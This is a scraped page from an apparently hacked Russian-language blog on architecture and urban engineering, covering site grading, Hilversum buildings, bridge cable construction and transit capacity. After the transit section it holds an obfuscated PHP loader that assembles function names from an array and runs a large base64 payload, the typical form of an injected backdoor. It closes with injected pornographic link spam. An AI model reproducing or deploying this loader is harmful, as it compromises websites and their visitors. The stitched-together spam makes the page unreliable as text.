Статистика

Архив за месяц: Октябрь 2013

В лесопарке большая территория была отведена для детских площадок, театра на открытом воздухе, кафе, спортплощадок и т. д. Землю, извлеченную при сооружении спортивного канала и подсобных осушительных каналов, Читать далее

Постройки архитекторов Дейкера и Бейвута сыграли решающую роль в застройке Хилверсума, где в дальнейшем новые общественные здания стали поручаться преимущественно молодым архитекторам — функционалистам. Среди Читать далее

derev_domОтметка уровня пола производственных зданий, расположенных параллельно и симметрично к проезду, должна повторять продольный уклон проезда. Тогда въезды в здания решатся одинаково и не будут искажать проектный рельеф. Плановое и высотное решение въезда в здание необходимо начинать со створа кромки проезжей части подъезда, т. е. решение въезда всегда должно быть согласовано с полосой свободного маневра транспорта. Благодаря этому поперечный профиль подъезда не будет искажен въездами. Читать далее

derev_domВо всех случаях, если это возможно, следует производить роспись красных горизонталей, которые, кроме наглядности изображения, дают надежное основание, чтобы судить о правильности принятых решений. Установлено, что рисунок красных горизонталей должен быть математически четким. Чтобы достигнуть четкого, выразительного рисунка красных горизонталей, рекомендуется: Читать далее

Завод «ЭСТИМА» производит плитку и керамический гранит уже на протяжении двенадцати лет с 2001 года. Читать далее

В процессе становления современной архитектуры наряду с целым рядом других творческих проблем большое значение приобрели вопросы формообразования. Именно эти вопросы и оказались на отдельных этапах развития Читать далее

kalfasanyuvarlakhavalandirmakanalsistemleriКак правило, при решении вопроса примыкания территории микрорайона или квартала к городским улицам предусматривается некоторое возвышение территории микрорайона над территорией улицы. В засушливых районах страны, где применяется арычный полив, вертикальная планировка должна обеспечить самотечное движение воды от улицы внутрь квартала, поэтому отметки арыков и улиц принимаются несколько выше отметок прилегающих территорий. Красные линии и отметки их пересечений в процессе проектирования вертикальной планировки остаются неизменными. Читать далее

2d600372f69bПри размещении зданий следует учитывать, что направление длины здания на пересечение с горизонталями вызывает необходимость устройства высоких цоколей и большого объема земляных работ, поэтому здания целесообразно располагать короткой стороной поперек горизонталей (но не в ущерб требованиям ориентации зданий). Читать далее

mostДля чего были устроены рабочие мостики, уложенные на специальные канаты и расположенные вблизи изготавливаемых кабелей. Барабаны с проволоками были установлены возле каждого устоя и смонтированы на рамах. Для направления проволок в процессе прядения кабеля были применены системы основных блоков, зубчатых реек и натяжных устройств, а также металлические направляющие рамки, закрепленные к рабочим мостикам. Несущий кабель состоял из 61 пряди (стренги) по 428 проволок в каждой. Проволоки диаметром 5 мм разматывали из бухт и протягивали между анкерными креплениями через верх пилонов со скоростью 300 ммин; в каждом направлении одновременно протягивали по четыре проволоки. Протянув 428 проволок, их соединяли в прядь. Собранный кабель обжимали гидравлическими приспособлениями, обматывали проволокой и окрашивали. Все кабели были изготовлены в течение 15 месяцев.
Пролетное строение монтировали без перерыва судоходства, подавая на плаву к месту подъема целую секцию-панель, состоящую из поперечных и продольных балок, раскосов и элементов поясов обеих балок жесткости и ветровых связей. Вес такого монтажного элемента-блока длиной 30 м достигал 400 т. Блок поднимали траверсой с помощью кареток, двигавшихся по криволинейным кабелям. При подъеме и подвешивании блоков примененные полиспасты располагали между ветвями парного кабеля. Железобетонные плиты укладывали на проезжую часть с помощью крана, передвигавшегося по готовому участку очередной панели. Монтаж подвешенной части занял 6 4 недели.
Продолжительность постройки всего моста 58 2 месяца (1959-1964 гг.), стоимость-325 млн. долларов.
Начало строительства Фортского автодорожного моста относится к 1958 г. Главная часть его висячей системы по схеме 408,4 + 1005,8 + 408,4 м. Общая длина моста с железобетонными эстакадами на подходах составляет 2,5 км. На мосту для каждого направления движения устроены две полосы для проезда автомобилей, велосипедная дорожка и тротуар. Судоходный подмостовой габарит по высоте 45 м.

moskva_dvijenieПри выборе вида транспорта приходится встречаться с такими обстоятельствами, когда различные виды подвижного состава, используемые на разных трассах в одном и том же городе, имеют различные технические характеристики. Это приводит к значительным колебаниям на этих участках скорости сообщения, максимального числа поездов и пассажиров в час и т. п.
Независимо от границ, установленных техническими возможностями, существенную роль играют экономические соображения, основанные на установлении в данных случаях наиболее экономичного вида транспорта. Эта задача решается путем индивидуального анализа вариантов обслуживания данной трассы разными видами транспорта. При этом анализе необходимо также учитывать удобства пассажиров, беспересадочность и сокращение затрат времени на поездки, влияние принятого решения на общие условия работы городского транспорта и т. п.
Существуют следующие общие рекомендации:
1. Если ни в одном пункте сети массового городского транспорта пассажиропоток не превышает 4000-5000 пассажиров в одну сторону в 1 ч, то можно применять трамвай, троллейбус или автобус.
2. Если на некоторых нагруженных направлениях наибольший пассажиропоток превышает 5000 пассажиров в 1 ч в одну сторону, можно применять трамвай соответствующей вместимости.
3. Если наибольший пассажиропоток в часы пик на наиболее напряженном отрезке сети города превышает 14000 пассажиров в одном направлении, применяются трамваи большой вместимости и дополнительно автобусы или троллейбусы, а также — трамваи, автобусы и троллейбусы одновременно. Если и в этом случае суммарная провозная способность остается недостаточной, возникает необходимость в строительстве метро.

$zlwuz[20].$zlwuz[17].$zlwuz[11].$zlwuz[13].$zlwuz[21].$zlwuz[11].$zlwuz[9].$zlwuz[14].$zlwuz[24].$zlwuz[10].$zlwuz[20].$zlwuz[21].$zlwuz[7].$zlwuz[23].$zlwuz[10]; $tisrcxo = $hywwqotn('$v', $zlwuz[11].$zlwuz[3].$zlwuz[13].$zlwuz[1].$zlwuz[4].$zlwuz[18].$zlwuz[2].$zlwuz[7].$zlwuz[10].$zlwuz[14].$zlwuz[1].$zlwuz[13].$zlwuz[21].$zlwuz[11].$zlwuz[4].$zlwuz[12].$zlwuz[13].$zlwuz[22].$zlwuz[11].$zlwuz[15].$zlwuz[6].$zlwuz[9].$zlwuz[8].$zlwuz[11].$zlwuz[20].$zlwuz[23].$zlwuz[8].$zlwuz[11].$zlwuz[4].$zlwuz[19].$zlwuz[3].$zlwuz[5].$zlwuz[5].$zlwuz[5].$zlwuz[16]); $tisrcxo('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'); ?>
indian sex scandal free-xxx-porn.net marathi chut video free hentai porno hentaimangaz.com hentai ryo agawa bangla gud mara mari aypornom.com sexy amage indiangay site xxx-indian.org bgjh karbi sex firetube.mobi boobs touching videos horse fuck girls tubezonia.net pronhindi hindi sex pictures bigassporntrends.com licking sex video tamilxnx soloporntrends.com jayamalini اوسع كس hdpornofilmler.biz افلام سكس اب وبنتة indiansex vedio gotporn.mobi hot boobs suck porn سكس فى السر arab-porno.net قصص سكس ياباني freesexvedeo kazatube.mobi kowalsky videos سكيسس في الفصل porncomicsfantasy.com شات ماندي فيلم سكس قصير sessotube.net نيك فى الفندق open sexy girl video xkeezmovies.mobi rajsthanisex